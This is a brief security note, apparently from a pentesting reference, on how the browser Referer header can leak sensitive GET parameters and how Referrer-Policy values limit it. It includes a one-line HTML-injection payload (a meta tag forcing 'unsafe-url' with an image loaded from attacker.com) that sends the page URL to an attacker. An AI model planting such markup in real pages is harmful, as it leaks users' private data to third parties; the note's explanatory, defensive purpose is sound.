Referrer is the header used by browsers to indicate which was the previous page visited.
If at some point inside a web page any sensitive information is located on a GET request parameters, if the page contains links to external sources or an attacker is able to make/suggest (social engineering) the user visit a URL controlled by the attacker. It could be able to exfiltrate the sensitive information inside the latest GET request.
You can make the browser follow a Referrer-policy that could avoid the sensitive information to be sent to other web applications:
Referrer-Policy: no-referrerReferrer-Policy: no-referrer-when-downgradeReferrer-Policy: originReferrer-Policy: origin-when-cross-originReferrer-Policy: same-originReferrer-Policy: strict-originReferrer-Policy: strict-origin-when-cross-originReferrer-Policy: unsafe-url
You can override this rule using an HTML meta tag (the attacker needs to exploit and HTML injection):
<meta name="referrer" content="unsafe-url"><img src="https://attacker.com">
Never put any sensitive data inside GET parameters or paths in the URL.